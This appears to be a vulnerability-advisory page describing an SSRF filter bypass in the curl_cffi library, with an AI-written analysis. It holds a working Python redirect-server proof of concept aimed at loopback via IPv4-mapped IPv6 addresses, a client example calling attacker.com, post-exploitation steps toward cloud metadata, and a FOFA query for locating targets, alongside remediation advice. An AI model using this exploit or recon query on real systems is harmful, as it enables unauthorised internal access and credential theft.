CVE Professor
/
All CVEs
CVE-2026-144579

CVE-2026-144579 — Lexiforest Curl Cffi (0.17.0) — CWE-918

HIGH CVSS 9.2 NVD

curl_cffi 0.15.0 through 0.17.0 contains a server-side request forgery protection bypass in allow_redirects='safe' mode because is_internal_ip() omits 0.0.0.0 and IPv4-mapped IPv6 addresses. Malicious remote servers can redirect requests to 0.0.0.0 or ::ffff:-prefixed addresses to reach loopback services or cloud instance metadata and read the responses.

curl_cffi 0.15.0 through 0.17.0 contains a server-side request forgery protection bypass in allow_redirects='safe' mode because is_internal_ip() omits 0.0.0.0 and IPv4-mapped IPv6 addresses. Malicious remote servers can redirect requests to 0.0.0.0 or ::ffff:-prefixed addresses to reach loopback services or cloud instance metadata and read the responses.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity None I:N
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE-2026-144579 is a Server-Side Request Forgery (SSRF) vulnerability (CWE-918) in the curl_cffi Python library, specifically affecting versions 0.15.0 through 0.17.0.

The core technical flaw lies in the implementation of the is_internal_ip() function, which is used to enforce security boundaries when allow_redirects='safe' is enabled. This mode is designed to prevent the library from following redirects to internal/private network resources (such as 127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and ::1).

However, the is_internal_ip() function fails to correctly identify two specific address formats as internal:
1. 0.0.0.0: Often used as a wildcard or to bind to all interfaces, but in the context of SSRF, it can be interpreted by certain network stacks or proxies as referring to the local host (loopback).
2. IPv4-mapped IPv6 addresses: Addresses in the format ::ffff:a.b.c.d (e.g., ::ffff:127.0.0.1). Many modern operating systems and network libraries treat these as equivalent to their IPv4 counterparts. If an application or underlying socket layer resolves ::ffff:127.0.0.1 to 127.0.0.1, the request reaches the loopback interface.

Because is_internal_ip() returns False for these addresses, the allow_redirects='safe' check is bypassed. An attacker-controlled remote server can issue an HTTP 302 or 307 redirect pointing to 0.0.0.0 or ::ffff:127.0.0.1. The curl_cffi library, trusting its own flawed check, will follow this redirect, allowing the attacker to probe internal services, read responses, and potentially access cloud metadata endpoints (e.g., 169.254.169.254 if mapped or if 0.0.0.0 routes to it in specific configurations, though the primary risk here is loopback and direct internal IP access via mapped addresses).

CVSS 4.0 Vector Analysis:

  • AV:N/AC:L/AT:N/PR:N/UI:N: Exploitable over the network with low complexity, no attack target interaction, no privileges, and no user interaction.

  • VC:H: High Confidentiality impact. The attacker can read sensitive data from internal services (e.g., local admin panels, cloud metadata, internal APIs).

  • SC:H: High Subsequent Confidentiality impact. The initial SSRF can lead to further compromise of other systems or data stores.

  • VI:N/VA:N/SI:N/SA:N: No direct integrity or availability impact from the vulnerability itself, but the data exfiltration is critical.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Fingerprinting: The attacker identifies that the target application uses curl_cffi for outbound HTTP requests. This can be done by:
  • * Inspecting the User-Agent header if the application does not override it (though curl_cffi often mimics browsers, specific TLS fingerprints or header ordering may be distinctive). * Reviewing the application's requirements.txt or Pipfile if accessible via source code leaks, public repositories, or error pages that disclose library versions. * Observing the behavior of the application when making requests to external URLs. If the application allows user-controlled URLs or parameters that trigger outbound requests, it is a candidate.
  • Version Verification: Confirm the version is between 0.15.0 and 0.17.0. This is critical because the fix is likely in 0.17.1 or later.
  • 2. Exploitation

    The attacker sets up a malicious HTTP server that issues a redirect to an internal address. The target application, using curl_cffi with allow_redirects='safe', will follow the redirect because is_internal_ip() fails to block the payload.

    Illustrative PoC (Python):

    # Attacker's malicious server (malicious_server.py)
    from http.server import HTTPServer, BaseHTTPRequestHandler
    
    class RedirectHandler(BaseHTTPRequestHandler):
        def do_GET(self):
            # Redirect to loopback using IPv4-mapped IPv6 address
            # This bypasses is_internal_ip() in curl_cffi 0.15.0-0.17.0
            self.send_response(302)
            self.send_header('Location', 'http://[::ffff:127.0.0.1]:8080/admin')
            self.end_headers()
    
    # Alternatively, use 0.0.0.0 if the target's network stack interprets it as loopback
    # self.send_header('Location', 'http://0.0.0.0:8080/admin')
    
    server = HTTPServer(('0.0.0.0', 8080), RedirectHandler)
    print("Starting malicious redirect server on port 8080")
    server.serve_forever()

    Target Application Code (Vulnerable):

    import curl_cffi
    
    # The application uses curl_cffi to fetch a user-provided URL
    # allow_redirects='safe' is intended to prevent SSRF
    def fetch_url(url):
        try:
            response = curl_cffi.requests.get(url, allow_redirects='safe', timeout=5)
            return response.text
        except Exception as e:
            return str(e)
    
    # Example: User provides a URL that points to the attacker's server
    user_input_url = "http://attacker.com/redirect"
    result = fetch_url(user_input_url)
    print(result)  # This will contain the response from http://[::ffff:127.0.0.1]:8080/admin

    Exploitation Steps:
    1. The attacker hosts a server at attacker.com that returns a 302 redirect to http://[::ffff:127.0.0.1]:8080/admin.
    2. The attacker sends a request to the target application, e.g., GET /fetch?url=http://attacker.com/redirect.
    3. The target application calls curl_cffi.requests.get("http://attacker.com/redirect", allow_redirects='safe').
    4. curl_cffi receives the 302 response and checks the Location header: http://[::ffff:127.0.0.1]:8080/admin.
    5. The is_internal_ip() function is called with [::ffff:127.0.0.1]. Due to the bug, it returns False (not internal).
    6. curl_cffi follows the redirect to http://[::ffff:127.0.0.1]:8080/admin.
    7. The underlying OS/network stack resolves [::ffff:127.0.0.1] to 127.0.0.1 (loopback).
    8. The request reaches the local admin panel on port 8080.
    9. The response from the admin panel is returned to the attacker.

    Alternative Payload using 0.0.0.0:
    If the target's network configuration or the curl_cffi library's internal resolution treats 0.0.0.0 as loopback, the attacker can use http://0.0.0.0:8080/admin. This is less reliable than IPv4-mapped IPv6 but still a valid bypass vector.

    3. Post-exploitation

  • Data Exfiltration: The attacker can read sensitive data from internal services, such as:
  • * Local admin panels (e.g., /admin, /dashboard). * Internal APIs that do not require authentication from the local network. * Cloud instance metadata (if the internal service proxies to 169.254.169.254 or if the attacker can chain SSRF to reach it via internal routing).
  • Privilege Escalation: If the internal service has an authentication bypass or weak credentials, the attacker can gain access to the internal system.
  • Lateral Movement: The attacker can use the SSRF to probe other internal hosts by redirecting to http://[::ffff:10.0.0.5]:80 (if the bug also affects private IPv4 ranges mapped to IPv6, though the CVE specifically mentions 0.0.0.0 and IPv4-mapped IPv6, the logic flaw may extend to other mapped addresses).
  • 🌍 Real World Impact

  • Confidentiality (High): The attacker can read sensitive data from internal services. This includes:
  • * Cloud Metadata: If the internal service is a proxy or if the SSRF can be chained to reach 169.254.169.254, the attacker can steal cloud credentials (AWS, GCP, Azure), leading to full cloud account compromise. * Internal Admin Panels: Access to local admin interfaces can reveal user data, configuration files, and API keys. * Internal APIs: Access to internal APIs that are not exposed to the public internet can lead to data breaches.
  • Integrity (None): The vulnerability itself does not allow direct modification of data, but the data exfiltration can lead to indirect integrity issues if the attacker uses the stolen credentials to modify data.
  • Availability (None): The vulnerability does not directly cause denial of service, but the attacker could potentially overload internal services if they have the ability to trigger many requests.
  • Practical Consequences:

  • Cloud Environments: Critical risk of cloud credential theft, leading to full infrastructure compromise.

  • On-Premises: Risk of internal data breach, access to internal admin panels, and lateral movement.

  • SaaS Applications: Risk of data exfiltration from internal microservices that are not directly accessible from the internet.
  • 🛡️ Remediation & Mitigation

    1. Upgrade

  • Affected Versions: curl_cffi 0.15.0 through 0.17.0.
  • Fix: Upgrade to curl_cffi 0.17.1 or later, where is_internal_ip() is corrected to include 0.0.0.0 and IPv4-mapped IPv6 addresses.
  • pip install --upgrade curl_cffi

    2. Workarounds

  • Disable allow_redirects: If possible, set allow_redirects=False in curl_cffi requests. This prevents the library from following redirects, eliminating the SSRF vector.
  • response = curl_cffi.requests.get(url, allow_redirects=False, timeout=5)
  • Manual Redirect Handling: If redirects are necessary, manually handle them and validate the new URL against a strict allowlist of internal IPs before making the request.
  • Network Segmentation: Ensure that the application's network interface cannot reach sensitive internal services (e.g., cloud metadata, admin panels) even if an SSRF occurs. Use firewall rules to block outbound traffic from the application's IP to internal ranges.
  • WAF Rules: Implement WAF rules to block requests containing 0.0.0.0 or ::ffff: in URLs or parameters that are used for outbound requests.
  • 3. Detection

  • Web Server Logs: Look for requests to the application that contain 0.0.0.0 or ::ffff: in the URL or query parameters.
  • GET /fetch?url=http://attacker.com/redirect HTTP/1.1

    Followed by internal service logs showing requests from the application's IP to 127.0.0.1 or [::ffff:127.0.0.1].

  • Network Traffic Analysis: Monitor for outbound connections from the application to internal IPs, especially 127.0.0.1 and 169.254.169.254.

  • Application Logs: Check for errors or unusual responses from internal services that are not normally accessed by the application.
  • ⚠️ Urgency

  • CVSS Score: 9.2 (Critical)
  • CISA KEV: No (as of the provided data)
  • Exploit Complexity: Low
  • Patching Priority: Immediate
This vulnerability is critical because it allows unauthenticated attackers to bypass SSRF protections and access internal services. The ease of exploitation (low complexity, no user interaction) and the high impact (cloud credential theft, data breach) make this a top-priority patch. Organizations should upgrade curl_cffi to 0.17.1 or later immediately. If immediate upgrade is not possible, disable allow_redirects or implement strict network segmentation to mitigate the risk.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="lexiforest curl_cffi"
CVSS Score
9.2 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (1)
lexiforest:curl_cffi (0.17.0)
References & Advisories (3)
Related CVEs
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.6
CVE-2026-118743
Server-side request forgery in Microsoft Copilot allows an authorized attacker to elevate privileges over a ne
8.9
CVE-2026-144591
PhpSpreadsheet through 5.12.0 contains a server-side request forgery vulnerability that allows attackers to re
8.5
CVE-2026-135458
A path traversal vulnerability was identified in GitHub Enterprise Server that allowed a normal authenticated
8.4
CVE-2026-81137
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains a Server-Side Request Fo
7.1
CVE-2026-144453
AgentCrew before 0.25.1 contains a server-side request forgery and local file read vulnerability that allows m
6.9
CVE-2026-144575
rembg through 2.0.88 contains a server-side request forgery filter bypass that allows unauthenticated attacker